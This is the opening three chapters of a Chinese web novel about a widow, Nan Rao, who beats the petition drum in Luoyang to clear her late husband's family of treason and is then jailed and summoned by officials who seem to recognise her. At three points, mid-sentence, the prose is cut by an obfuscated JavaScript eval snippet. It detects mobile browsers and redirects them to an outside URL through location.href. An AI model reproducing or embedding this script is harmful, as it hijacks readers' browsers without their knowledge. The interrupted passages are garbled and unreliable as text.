《死去多年的公主回来后》 1. 第 1 章 岁末严冬,朔风肃杀。 飞雪如挦绵扯絮,漫天蔽野,铺满洛阳道。 成朔五年的岁末,冷得出奇,倒春寒来势汹汹,行人皆耸肩缩背,步履匆匆。 王徹下朝后,坐在去衙署的轿子里,啜了口侍从捎来的热酒,搓了搓冻僵硬的手掌心。 不由暗叹一声,这天是愈发冷了。 如此冷的大雪天还得忙前忙后,着实是不容易。 近日正是多事之秋,洛阳城内店家纷纷门窗紧闭,将风雪隔绝在外头。但若走进任意一家店里,只怕都能听到百姓在议论近日大将军府被抄之事,神色皆惊异而兴奋。 毕竟对于诸多艰难谋生计的百姓而言,任何一个身居高位之人倒台,皆值得热烈谈论。 哪怕这位大将军,先前打了不少胜仗。 一夜之间,洛阳城内也尽是此人抗旨不尊、包藏祸心,致使三万将士惨死的流言。 此事说来唏嘘,打从去年开始,边关战事便极为不顺,入秋后大司马大将军段纮奉旨出征,本以为此去能平定边乱,谁知临时竟未曾上报便擅自改了行军路线,以致于三万将士全军覆没。 战报传入洛阳,朝堂一片哗然,百官纷纷上疏弹劾,还有人趁机拿出了段纮疑似谋反之罪证,引得圣上大怒,下旨将段氏全族抄家下狱待审,一夕之间,便连一干昔日与段氏来往密切的官员,或下狱待审,或罢官流放。 民间人言籍籍,物议沸腾,百官上朝时皆战战兢兢,唯恐行差踏错一步。 按理说,段氏一族已被下了诏狱,应严刑审问,尽快定罪。 但偏偏,这段家乃皇后亲族,天子至今态度不明,未有决断,倒令底下的大臣们拿捏不了分寸。 若论九卿之中谁最难做,当属廷尉王徹了,陛下虽命他与丞相长史、御史中丞杂治诏狱,但刑狱审讯方面仍由他负责。 王徹一路唉声叹气,他为官十六年,做廷尉正三年,最谙明哲保身之道,只盼着这把火莫烧到他身上便好了。 待轿子在衙署外落定,他拢着袖口起身出轿,靴底踩着厚厚的积雪,进了廷尉大门。 左监袁敬早在衙署内等候,见他来了,忙不迭上前把整理好的条陈递上,恭声道:“大人,这是下官整理好的审讯名册。” 王徹伸手接过,叹了口气,“这几日盯着我这儿的人怕是不少,今日上朝时陛下又提了,只怕段氏定罪就在这几日了。” 袁敬试探道:“如此,应算好事?” “好事?”王徹边翻册子,边冷哼一声,“事儿办的不好,中间再出丁点岔子,倒是掉脑袋的‘好事’了。” 他刚说完“出岔子”三个字,耳边忽然听到什么声音,是从外面传来。 低沉震耳,似天边闷雷滚动。 细听竟是钟鼓擂响。 王徹翻册子的手一顿,惊讶地抬起头,廷尉衙署外能敲的鼓就一个,这寒冬腊月的,莫不是有人在冒雪击登闻鼓? 他正要喊人来问,外头衙役已快步奔进来,“大人!大人!外头有个人……在敲登闻鼓……” 袁敬倒嘶一声,惊道:“谁人如此大胆?” 八百年没人敲的登闻鼓,今日居然被人给敲了? 众所周知,这登闻鼓可不是轻易能敲得的。 本朝开国之初便设立登闻鼓,为百姓鸣冤叫屈所用,藉以显示便民、德政,但这伸冤过程却层层设限,难如登天。 鸣冤者非但诉讼条件苛刻,更有“凡讼者皆露天戴枷,充军流放”等规定,若有证据不足、口供不实,被定性为无端闹事之人,更能直接问斩。 如今这鼓早成了摆设,几年能响一回都算稀奇了,上回被敲响还是两年前,击鼓之人因证据不足,当街活脱了层皮,后来冤没诉成,连命也跟着丢了。 今日,谁这么胆大? 还非得挑这事多的当口添乱。 王徹心里憋着一股子火气,不敢发泄在官场里,正好有人来触他霉头,他挥手冷声道:“把人带进来!” 很快,衙役们便架着一人从外头进来。 竟是个女人。 这女子体态纤瘦,乍一看从头到脚皆白如雪人,近了才发现她穿着身素白麻衣,满头乌发松松用竹簪挽着,落满了碎雪,行走间如盐粒般簌簌洒落。 甫一被人扔在地上,她便因冷而细肩紧缩着,冻得通红的手指撑着地上,艰难地跪着。 “民女,民女拜见大人……” 她开口时声音嘶哑,才说半句,便捂着嘴低低咳呛起来。 似是病了。 这下王徹和袁敬皆瞧得愣了一愣,没料到敢击鼓的竟是个女子。 王徹皱眉打量她,冷冷喝道:“方才就是你在击鼓?你可知这登闻鼓轻易可敲不得,凡击鼓者,皆要付出代价。” “民女知道,民女……有冤。” 她艰难地平复着呼吸,慢慢撑手跪好,垂着头开口应答。 “你所诉何事?” “民女诉……大将军案,另有冤情。” 边上的袁敬手一抖,不由得轻微吸气,王徹也微微一惊,怀疑听错了,表情险些挂不住。 他猛地一拍桌案,“胡言乱语!” 她被这声厉喝惊得脊背瑟缩,落在膝上的手指不觉用力攥紧,静默了片刻,反而缓缓抬起了头,露出一张苍白而清丽的脸。 “民女以性命担保绝非虚言,也有证据。” 若换作旁人,此刻早该怕得话都说不出来,她也分明是怕的,身躯在灌入大堂的寒风下瑟瑟战栗,却没有退让分毫,反而竭力挺直了脊背。 “大人何不看一下民女的供状。”她伸手去够身上包裹,冻得通红的手指试图从里拿出什么。 “荒谬!本官看你是来闹事的!” 王徹太阳穴突突胀痛,杂治诏狱正到了关键,过两日便要上呈宫中,此刻冒出来一个来历不明的女人,岂知不是别有居心?所言岂能当真? 他不欲再听她申辩,状纸也不接,冷声道:“来人,把这胆大包天告假状之人锁上押下去!” 两侧衙役快步上前,伸手抓住女子双臂,她没想到他们竟完全不听自己申辩,惊惧地抬头盯着他们,胸口急促起伏,疾声道:“我既已击鼓,你们便不可如此草率定论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131196|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——” 她剧烈挣扎起来,奈何力气抵不过衙役,不消片刻便被套上镣铐,被人从地上提起来。 偏就此时,有人惊惶奔来,对他们道:“大人,外、外头,有人来了……” 两人一惊,袁敬忙不迭对那些衙役挥手道:“还不快点押下去处理了!净日都是些闹事的。” 那女子被架着,像是极不甘心,死命挣扎起来,生冷沉重的镣铐生生在地上拖拽出一道深色痕迹。 他们动作慢了些,外头的人已经缓步入内。 “廷尉正大人,今日似乎甚忙啊。” 一道年轻清朗的声音自外头传来。 衙役生生动作顿住,女子被人用力架着,尚未反应过来,便被人再度松开,重重跌坐在地上,疼得她发出一声低哼。 低头间,只觉面前倏然掠过一道凛冽疾风。 “原来是严长史……” 王徹一见是来者竟是丞相长史严詹,连忙含笑迎上前去。 丞相长史比六百石,品阶虽不如廷尉,但身为相府属官,朝中无人敢轻慢分毫。 王徹心有不安,摸不透这严詹过来干什么,难不成是丞相大人临时有什么指示?还是因为别的? “不知长史来此,有何贵干?” 严詹从宫里出来,身上尚着官服,银印青绶,介帻加冠,慢悠悠朝王徹拱手见礼,从容含笑道:“在下正要去相府,碰巧路过,瞧见有人敲这登闻鼓,顺便来瞧一眼热闹。” 瞧热闹? 王徹闻言,暗道这贱民坏事,谁人不知这严詹为丞相亲信,今日叫他撞见这击登闻鼓的事,看样子是有麻烦了。 分明天气酷寒,王徹却早已汗湿重衫。 他面上笑道:“这年头击鼓告状的,能有一个守规矩的倒是稀罕了,这女子看似在鸣冤,实则就是个闹事的,我正要按规矩处置,倒不劳长史费心。” “是么。”严詹转过头,目光落在不远处。 那里。 女人正委顿在地上。 因拖拽而凌乱的衣衫松松套在过于瘦弱的身躯上,宽大得近乎漏风,低头时露出的一截颈子白腻修长,全身都在风雪下瑟瑟发抖,眼瞧着快晕倒了。 可不能晕。 若是现在晕了,这一切就彻底没有希望了。 她要伸冤。 她不能就这样倒下。 她思绪混乱,痛觉与寒冷几乎盖过意识,让她到达了身体承受的临界点,摇摇欲坠,却又不甘心这样认命,死死咬着牙关支撑着。 恍惚间,似有脚步声迫近。 直到眼前出现一双黑靴,她忽然意识到,方才进来的那位大人停留在了自己面前。 严詹尚未开口,她已艰难地支撑起身子,如溺水之人抓浮木,猛地伸手拽住对方的衣摆。 她执拗地仰头,直直望向对方的脸。 “求大人为民女做主,廷尉卿未看民女诉状便断定民女闹事,民女为段家诉冤,求大人明察……” 她在说什么,严詹并未听清。 在看到她脸的瞬间,他只觉脑内轰然一声,彻底呆住了。 2. 第 2 章 南荛死死攥住对方的衣摆。 严詹正被她突然的动作吓了一跳,下意识后退,她被带得趴在了地上,手指却坚决不松,用力到指骨泛青,不让他走。 冬末严寒,飞雪若絮,北风倏一灌入衣襟,便冷得透肌剜骨。 周围的人皆有些惊讶,谁也没想到这么一个柔弱的娘子,突然爆发出的力气竟如此之大。 没人知道她经历了什么。 家破人亡,夫妻分离。 犹记得数月前,南荛还只是一个寻常妇人,与夫君过着安乐的日子,情深意笃,恩爱不疑。 直到她夫君段浔,收到了家书。 西边敌国压境,他二位兄长皆战死沙场,边关岌岌可危。 段浔接连数日变得沉默,南荛看出他心中所想,便对他道:“家国有难,匹夫有责,何况战场之上有你的血亲,你若想去,我便与你同去。” 自先帝时朝廷便颁发敕文,凡边关将士,长期守城对抗外敌者,可带家人同往,对此朝堂甚至专设廪粮供应,以便令士兵无后顾之忧。 段浔怔然望着她,忽然快步上前,把她紧紧拥入怀中,抿紧薄唇,“我不想带你涉险,阿荛,你等我回来。” “我保证,我一定会活着回来。” 南荛想说她不怕,却能感受到段浔的身躯异常紧绷,似用尽全力。 边关苦寒,他不想带她去。 可他放心不下她。 以致于离别时,他为她筹备了许多物什,盘缠、保暖的衣物、伤药、补品、防身用的匕首,甚至还有若他战死沙场、她可去投靠他人的信物。 他临行前,曾与她详细谈论过前方战况,其中诸多疑点,仿佛预示了此去危机重重。 她手中保留了段浔当时收到的文书信件,也仍记得那一日战败的消息传来,自己是怎样的难过。 他死了。 尸骨无存。 得知段浔战死、段氏全族通敌卖国的消息时,南荛独自枯坐了一夜,翌日一早,她就擦干了眼泪,收拾好了行囊前去洛阳。 她要为他讨个公道。 他若活着,她便等他归来;他若死了,她也不绝让他白白枉死。 为了伸冤,南荛一路跋涉千里,颠沛流离,她一个孤身女子,在路上易遭歹人觊觎,能保住性命便已不易,盘缠早已被人偷走。若非靠那么一丝信念支撑着,她也许早就死在半路上了。 好不容易千辛万苦地撑到了洛阳,撑到了击鼓鸣冤,到头来却被当做闹事的。 这世间的公道,果真没有那么容易讨来,平民百姓伸冤无门,何况是这种震动天下的案子。 南荛想过最坏的结果。 无非就是死。 她本就是该死之人。 五年前,南荛躺在悬崖底下重伤失忆,被人发现时就早已气息微弱、回天乏术,大夫们都束手无策。 然而那年早春甚冷,是十七岁的少年郎阿浔背着她,一个个寻遍名医,硬生生将她的命从阎王手里抢了回来。 已经死过一次的人,还有什么好惧死的? 可她,不甘于这样死。 不甘于只得到最坏的结果。 南荛用力拽紧眼前这位陌生大人的衣摆,死死咬着牙关,就算有人来砍她的手,她也绝不会松手。 她狼狈地趴在了地上,飞雪因呼吸急促被呛入肺里,眼睛却执着地望着对方。 “大人……求大人做主……” 她一边哀求,一边小心翼翼地观察着眼前大人的神色,不知道他是不是好人,却发现他正紧盯着自己的脸。 他……怎么了? 为何一直盯着她看…… 南荛被他盯得有些迷茫不安,不禁偏头低眸,避开他的目光。 她这样的举动落在严詹眼里,便显得极胆怯害怕。 严詹一时静默,许久不言。 这漫长的沉默中,只有王徹瞧出严詹神色异常,唯恐这女子在此误了他的事,按捺不住开口道:“这贱民污蔑本官,此刻还在此妖言惑众,来人,还不快把她——” “慢着。” 严詹倏然出声,打断王徹。 王徹瞠目结舌地看着他,不知道这人突然发什么疯? 严詹攥了攥袖中手,稍稍定神,转身对王徹笑道:“王廷尉何必如此着急,圣上命你我杂治诏狱,方才听这女子所言提到段家,此事恐涉及段氏案,在下一来有权过问,二来,身为丞相属丽,我所行之事自有丞相许可。” “若当真如你所言,此女不过无端闹事,便是留她多问两句,于王大人而言又有何妨?” 王徹听他搬出丞相来,暗暗恼恨,面上皮笑肉不笑道:“既然严长史这么想问,那就问罢。” 严詹又看向南荛。 南荛听这位大人言语之间的态度,应是要过问她的事了,不禁欣喜非常,愈发恳切地望着他。 对方却久久地盯着她,也不知在想什么,随后,缓缓在她跟前蹲了下来。 “你……不认得我?” 她惊异而困惑地望着他,微微摇头。 她……该认得他吗? 严詹混迹官场多年,与形形色色的人打过交道,见她清亮的眼瞳里满是惶惑,知道她未曾撒谎。 事情有些棘手了。 要么不是他要找的人,只是长相巧合;要么就是…… 严詹有些懊恼烦闷,又开口问:“你叫什么名字?” “民女名唤南荛。” “何方人士?” “青州人氏。” “……状告何事?” 她轻声道:“民女夫君,乃是段家三子段浔,民女此番诉冤,是想证实段家绝无谋逆之举,乃是遭人污蔑,求大人明察。” 严詹听她这么说,才终于注意到她穿着一身素白麻衣,竟是一副寡妇的装扮。 她嫁人了?! 他暗暗吸了一口气,腾地站起来,不知道在想什么,又去捡地上散落的竹简,袁敬见状,忙不迭过去帮忙。 严詹粗略扫了一眼上头的字,对王徹道:“此女之事还有待调查,廷尉卿不如先将她收押,待我禀明丞相,容后再行论处。” 王徹看他言行举止反常,还口口声声说要把这事告诉丞相,心道今日真是活见鬼了。 仅为了个来历不明的女子,这严詹便仗着丞相威势处处对他不客气,王徹心中不快,也不好发作,便挥手使唤衙役,“来人,把她押下去。” 衙役架起地上的南荛,这次动作不再那般粗蛮。 严詹看着这一幕,似乎还想说什么,欲言又止,半晌,又似不放心般叮嘱道:“此女瞧着甚是虚弱,还请廷尉莫要为难她。” 王徹干笑,应了下来。 - 南荛被带去了诏狱。 若论洛阳人人最恐惧的去处,当属这廷尉诏狱。自开国以来,上至王侯权臣,下至士族子弟,或因朝廷党争,或因触犯法令,凡入此地皆九死一生,殒命者更是不计其数。 若是平民入诏狱,更是要被啃得骨头都不剩。 甫一踏入此地,南荛便感受到一阵强烈的潮湿与窒闷,四面阴暗,不流通的空气里弥漫着浓烈的血腥味,隐约夹杂着腐臭之气,令人闻起来有些作呕。 她强忍不适,跟随着狱卒往里走,强迫自己不去看左右两侧关押的那些模样凄惨的囚犯。 壁灯幽暗,隐约照亮诏狱深处,也将她的影子照得飘摇不定。 南荛被单独关在了一间牢房里。 她好似还沉浸在方才的事里没回过神儿,直到挨着角落坐下,才如梦初醒般抬眼,谨慎地张望四周。 虽然心里仍旧不安,但她又隐隐感觉到,事情应该有转机了。 尽管她想不通,为什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131197|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么那位大人突然出现,还要过问她的事? 他还用那样奇怪的眼神看她,问她认不认识他。 南荛当真不认识他。 她仅有的这五年记忆,都是与她夫君在一起,生活在远离洛阳的青州。 至于五年前的人和事,南荛早就忘干净了。 她连自己是谁、从哪儿来的都不知道。 南荛思及此,忽然抬手掩住唇,艰难地低头咳喘两声,嗓子干涩无比,肺腔仿佛灌满棉絮,咳一声便扯动五脏六腑似的疼。 她曾生过重病,后来哪怕病好了,也落下了病根,体质弱于常人。 来洛阳的路上便染了风寒,只是硬撑着,方才又被人拖拽受了惊吓,此刻后知后觉地缓过来,便感到一阵强烈的乏力眩晕。 入夜之后,周围断断续续传来有人走过的脚步声,其间有人被提审刑讯,发出令人闻之胆寒的惨叫痛呼。 南荛长发松散地披在脊背上,脸色发白,双眸紧闭,逼自己不去听不去看,只一声不吭地蜷缩着,下巴搁在膝上,双手不断摩挲手臂,希望这样能稍微暖和一点。 腕上铁镣冰冷沉重,戴了不过半日,已经勒出了红痕。 她的身子不自觉轻轻颤栗着,除了心悸惊惧,更多则是被冻的。 她怕冷。 好冷。 四面散发着阴涔涔的寒气,人撑到极限,便极易产生幻觉,南荛冷得仿佛置身于五年前的那场大雪中,意识控制不住地发散。 她是被一个猎户救下的。 听那猎户说,她是在悬崖底下被发现的,那时她已经快被大雪给活埋了,若不是被他及时挖出来,她早就活生生冻成人棍了。 只是她当时遍体鳞伤,昏睡了足足三日,待她悠悠转醒时,身上已换了身干净的布衣,记忆全失,身边也没有任何可证明身份的东西。 她高烧不止,病得很重。 那猎户家中贫寒,养家糊口都极艰难,肯救她已是善举,无法再找大夫给她治病。 南荛自知时日无多,不愿让恩人为难,也不想死在他们家中,便艰难起身,独自走进了下着雪的郊外。 大雪飘摇,北风呼啸。 大抵是回光返照,她感觉不到冷和痛,以树枝当拐杖,一瘸一拐地走到一棵树边坐了下来,安静地闭上眼睛等死。 远处忽然传来马蹄声。 她睁开眼,看到了一个策马出城的少年郎。 朔风疾雪下,少年骑着一匹白马,玄黑衣摆和乌发在风中肆意飞扬,勒紧的腰身、挺拔的身姿如同一把劈开云雾的雪亮刀刃,锋锐而内敛。 他远远地看到她,勒缰驻马,马蹄荡出一片雪雾。 翻身下马,来到她面前。 “你……怎么了?” 穿梭耳畔的风声里夹着清泉般的少年声,她睁开眼睛,睫毛倏地一颤,只见一个陌生少年扬着眉梢,正好奇地凑近瞧她。 她的眼睫上覆满了雪花,被滚烫的呼吸一烘,便融化成水,模糊了少年俊秀的面容。 她在濒死的状态下,对上了一双惊艳漂亮的眼睛。 她已经丧失了求生的意志,呆呆看他片刻,便闭上眼睛等死,少年似乎瞧出她是将死之人,思索片刻,忽然眼睛弯了弯,“算了,谁叫你运气好碰见了小爷我,今日我心情好,便顺路救你一命。” 身上倏然一暖。 少年把自己的大氅脱下,披在了她的身上。 随后天旋地转,她落到了少年单薄却有力的背上,迷迷糊糊睁开眼,只看到少年扎着高马尾的后脑。 “你……”她无措地开口说话,嗓音嘶哑。 她想说,别救我了。 她病得很重,肯定活不成了。 “别说话。”背着她的陌生少年头也不回,北风吹散他的声音,落到她的耳边,轻轻掠过起伏的心潮,“别怕,我救你。” 3. 第 3 章 梦很长。 许是因为许多日未曾好好休息过了,南荛这一觉睡得极沉,几乎醒不过来。直到翌日一大早,有人正在开牢房的门锁,她倏然被声音惊醒。 身子依然冷得厉害,四肢被抽干了似的绵软无力,这一觉醒来后,身子似乎变得更沉了,她强撑着一缕清醒的意识望向牢房外,以为该轮到自己被提审了。 不想对方一进来,却吩咐道:“给她去镣。” 南荛怔住,提审是在诏狱里,为何要去镣?对方看出她的惶惑不安,笑了笑,只道:“娘子莫要紧张,今日有贵人要问你话,随我们走一趟便是。” 贵人? 哪个贵人? 是昨日那个大人吗? 南荛思绪混乱,对方已手脚麻利地给她摘去了镣铐,示意她起来跟上。 她安静地跟在狱卒后面,离开了诏狱,也不知七弯八绕地走了多远,她被带到一间屋子里,狱卒们自动关上门出去。 屋子里正有几个丫鬟等着,见南荛来了,为首的人便殷勤地迎上前来,笑道:“娘子风尘仆仆,奴婢们先服侍娘子沐浴,再换身衣物去见大人。” 南荛还未弄清楚是什么情况,下意识伸手挡去对方去解自己衣物的手,后退一步婉拒道:“多谢好意,可是……” 对方却大有不顾她意愿的架势,依然伸手来拉她过去,南荛被逼得连连后退,直到背脊抵到了墙壁上,不禁微恼着开口道:“我此番是为我夫君冤案之事去见大人,倒是从未听过沐浴更衣的规矩。” 未曾想到她如此倔强,她们互相对视一眼,为首的丫鬟眸光微闪,开口笑道:“既然娘子不想沐浴,那就算了。但总得好好打理一番,娘子若是衣冠不整,去见大人未免显得唐突。” 这句倒是有理。南荛这一路风尘仆仆,看着颇邋遢,若是要见的人位高权重,的确当整理一番以示礼节。 她想了想,才配合她们走到铜镜前坐下。 丫鬟们动作麻利地拆散南荛的发髻,满头乌发顷刻散开在背脊上,乌黑柔亮,只是发梢略显干枯,可见她从前过得是不错的,近日却生吃了不少苦。 很快,她们梳好了头发,下一步便是更衣了。 南荛轻声道:“不必劳烦,我自己来罢。” 丫鬟们只好退了出去。 南荛仔细锁好了门,才开始更衣,她展开衣物仔细查看,见这是身鹅黄色曲裾深衣,布料和形制算是上等,心底那股怪异的感觉更甚。 待换好衣服后,她走到窗边,将先前未关死的窗牗稍稍推开一道更大的缝隙,想瞧瞧外面是什么情况。 不想却听到了北风呼啸下细碎的说话声。 是方才伺候她梳妆的那些人。 “听说我们方才伺候这人,是诏狱里关押的女犯,你们说,她生得那般标致,难不成严长史是看上了她?” “听说这女子出身低微,还嫁过人?” “洛阳城里喜好人妻的贵人也不少了,嫁过人的才更好生养,日后做妾也好延绵子嗣。” “嘘,小声点儿。” 南荛听到这些话,心脏直直下坠,倏然沉到了谷底。 严长史…… 昨日为她做主的那位大人,的确被称作严长史。 今日让她更衣也是他安排的?难道当真如她们所说,严长史对她有非分之想? 昨日,她仅凭初印象,觉得这位严长史对她的态度更像对待什么故人,并不像见色起意之人,难道是她感觉错了? 南荛愈发不安,她昨日仅仅是希望那位大人能为她做主,却未曾想过会被这样“额外关照”。 细细想来的确不对,倘若那位大人为人正直,也该在对她审讯完毕、确认她确有冤屈之后再关照她才对,如此才不会落人口实。 凡入了诏狱之人,就皆形容狼狈,又怎么还会给她沐浴更衣的机会? 这些久混官场之人,大多不会做毫无利益之事,世上没有掉馅饼之事,就怕这份好的背后,需要她付出更大的代价。 南荛正思索着,外头传来脚步声,她连忙阖上小心窗子。 有人叩响房门。 “娘子,该走了。” 南荛心跳愈烈,连忙应了一声,“就来。” 一边应着,她快速环顾四周,看到桌上放着一把剪子,飞快地拿起藏在袖子里。 洛阳城内豺狼虎豹环伺,她置身于此,大多时候无力自保,自她决定好进洛阳伸冤的那一刻起,便已做好了最坏的准备。 她攥紧剪刀,深吸一口气,缓缓推门走了出去。 - 严詹一身常服守在廊下,在等南荛过来。 仆从正在清扫积雪,好不容易扫干净,很快,大雪又铺满厚厚一层,踩在上面留下或深或浅的脚印。她低头跟在别人身后,走得很慢,薄薄的日光洒落在女子纤瘦的侧影上,仿佛镀上一层暖光。 萧瑟寒风穿过长廊,掠起女子柔软的发梢,几缕乌黑的碎发扫过雪白的颈间,愈发衬出一抹修长柔韧的弧度。 周围的人皆瞧得有些愣神。 洛阳城内最是不缺美人,但如眼前这般相貌气质的女子,却极少见。 不知道的,还以为是世族教养出来的温婉大方的女公子。 就连严詹也看得怔了一下,心下暗道:果然人靠衣装,昨日她那般狼狈,倒让他有些不敢认,今日换身衣裳,终于有那位从前的影子了。 严詹待南荛走近了,才转身,示意她跟上。 南荛睫羽颤了颤,想问他什么,但他走得很快,仿佛正赶着时间,身后的随从也在催促她跟上,她的手指轻轻攥住裙摆,强行按捺着心底的不安,跟上去。 很快就来到一间房外,严詹停了下来,对她道:“娘子进去罢。”说完便推开了门。 南荛没想到自己竟是要单独进去,显然她今日要见的不是严詹,而是另有其人。 甚至此人,地位要远高于严詹,才会令严詹亲自引路。 “严大人……” 她望向严詹,有许多疑惑想问。 “你不必害怕,里头这位贵人,才是真正能为娘子所诉之案做主之人。” 因门是开着的,严詹说话时的音量也在下意识压低。 南荛看向房门口。 里面到底是什么在等着她,皆是未知。 走到这一步,她早已没有别的选择,她攥紧袖中剪刀,慢慢走了进去。 “砰。” 身后的门倏然被关上。 退步被斩断,南荛的脊背僵硬了一瞬,站在原地迟迟未动,谨慎地低着头,余光实则悄悄观察着这里头的光景。 因是还在廷尉衙署内,这间房内因是被临时收拾出来的,陈设简单朴素。 但相较于外头的风雪交加,室内已经很暖和。 “……大人?” 她不禁出声唤。 无人应。 进退两难,南荛又试探着往前走了两步,在余光瞥见一缕青色袍角时猛然一惊。 有人坐在那里。 南荛察觉到的瞬间,便不敢再有任何迟疑,微微转身,朝着对方所在的方向端正跪下,伏地行了大礼。 “民女拜见大人!民女名唤南荛,家住青州,夫君乃是段氏子弟段浔,上个月夫君受人所害,战死沙场,段氏一族被指认通敌卖国,实有冤屈,民女此番千里迢迢来到洛阳,是想为段氏一族伸冤,求大人为民女做主!” 她俯身于地,字字坚决。 话音刚落,她就感受到有一道目光,落在了自己身上。 如有实质。 对方在看她。 南荛垂首伏跪在地上,姿势端正,不卑不亢,她未曾抬头,全然不知对方的长相、年龄,此刻又处于何种状态。 他在看她吗?为何不说话? 隐隐约约,她嗅闻到空气中飘荡着一阵似有似无的幽淡茶香。 那人似乎在饮茶。 不远处传来极轻微的杯盏碰撞声,似被人搁在了陶案上,不知是不是听错了,她好像听到了一声极轻微的叹息声。 随即,对方站了起来。 脚步声逼近。 南荛的视线中出现了一只漂亮修长的手。 她仍旧低头跪着,没有把手递给他,倔强地重复了一遍,“民女已为人妇,还请大人秉公执法,为民女做主。” 那只手却依然稳稳伸在空中。 “东西给我。” 对方甫一开口,便带着淡淡的上位者发号施令的语气,口吻不冷,却让人下意识想遵从。 南荛猛地一惊,不想此人如此敏锐,却咬咬牙,依然没动。 “手里拿着什么。” 对方看她这么倔强,慢慢把话挑明。 南荛浑身鲜血倒涌,因为过于紧张,掌心早已满是汗渍。她知道被他发现,再装傻也无用了,只好在对方的逼迫下,慢慢伸出右手。 只见女子白皙纤细的右手里,正紧握着一把小巧的剪刀,尖锐处异常锋利,在昏暗的室内折射出森冷寒光。 他看清是剪刀,忽然极淡地笑了声。 “怕我对你做什么?” 她没有说话,默认了。 女子伏在地上的身躯单薄纤瘦,脊背却透出一股坚韧的弧度,明明看着不堪一击,攥着剪刀的手却异常紧绷。 她不肯把剪刀给他。 “民女孤身在外,只想以此保护自己,还请大人体谅。”她轻声说。 他也不勉强,收手直起身,转身又朝陶案的方向走,南荛察觉到他背对着自己,大着胆子悄悄抬头,目光落在对方的背影上。 外头风雪肆虐,自窗牗外吹进来的北风穿过陶案,晃动烛芯,掀起男人的青袍广袖,愈发衬得此人身形峻拔,如松似鹤。 她在看他的时候,他已拿起案上的陶碗转身,视线朝她这边不紧不慢掠来。 目光隔空撞见一刹。 两侧灯烛剧烈摇摆着,微黄的暖光投落在男人鼻梁眉眼间,唯独一双清润黑沉的眼眸,仿佛深不见底。 她这次看清了他的脸,极快地垂睫低头。 这人…… 背影气质高洁若君子,然而俊美孤拔的外表下,似乎藏着说不上来的杀伐冷酷。 南荛愈发踌躇不安,脑袋转得飞快,不确定对方的意图,他把她叫来,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14131198|149948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底是不是要审问关于冤案的事? “大人,民女想问……”她尝试着开口。 不等她说完,男人已重新走到她的面前,在她跟前微微蹲下。 漂亮修长的手指端着陶碗,放到朝她面前,“谈别的之前,先吃些糕点。” 南荛一时无言。 这个时候,他居然让她吃东西?她的视线顺着男人干净匀称的手指,落在陶碗里摆放着的精致糕点上。 很香。 看起来应是……极美味的。 她越瞧越饿,强迫自己移开目光,“民女来见大人,是因为民女的夫——” “我知道。” 对方陡然出声,截断她话,不紧不慢道:“你既有求于我,难道不知这世上许多事需要以代价来换,就不怕屡次冒犯、惹恼了我,我便不为你做主了?” 南荛的脸色有些苍白。 她闭了闭眼睛,低声道:“君子以渺然一身,而能与天地并立者,岂是周旋上下、委曲弥缝所能办哉,民女是要伸冤,但从未说过做什么都可以。”她微微一顿,又直言不讳道:“何况,一个会逼无辜百姓委曲求全的官,当真会为民女受理如此棘手的案子吗?” 她可以死,但绝不受辱。 如果可以,南荛是想好好活着的,但倘若他们要逼迫她做什么,这把剪刀便会扎在他们身上。 他耐心听她说完,倒是慢慢拢了拢袖子,似笑非笑地说:“本官只是让你吃一口糕点,这也算委曲求全?” 这不算。 南荛终于无法推辞,抬手拿过一块糕点,轻轻咬了一小口。 甜的。 是她喜欢的味道。 “多谢大人。” 饿久了之后身体变得麻木,味蕾被刺激,终于后知后觉感受到饥饿,南荛小口咬着糕点,虽觉得对方不至于在里面下药,却还是尽量克制着自己,不要吃太多。 南荛低头在吃,他就不远处在静静看她进食,她甚至能闻到他衣襟间携带的沉香气。 并非常见的香料,却让她感到熟悉,说不出以前在何处闻过。 眼前这人,她捉摸不透。 她不知道他的身份,不知道他的意图。原以为他可能见色起意,现在又觉得不像,对她的态度和严詹一样奇怪,她想不通为什么。 此刻她虽在吃糕点,身边人却如同一只蛰伏着的可怕猛兽,令她完全无法忽视他的存在,心绪难定。 她吃完又道:“大人,民女夫君……” 裴淩的目光倏然冰冷下来,没有正面应答,猛地起身。 她惊了一下,抬头看他。 “先起来说话。”他双眸微阖,侧过身,情绪难辨。 南荛闻言,艰难地撑手起身,仅仅只是跪坐了一小会儿,腿却有些麻了,这一动比想象中还要艰难,原本昏沉的脑袋愈发眩晕,几乎使不上力。 站起来的瞬间,强烈的眩晕感突然袭来。 南荛只觉得眼前一黑,即便咬着舌尖拼命支撑,眼前的天地也开始急速倒转。 她骤然闭目,毫无征兆地倒了下去。 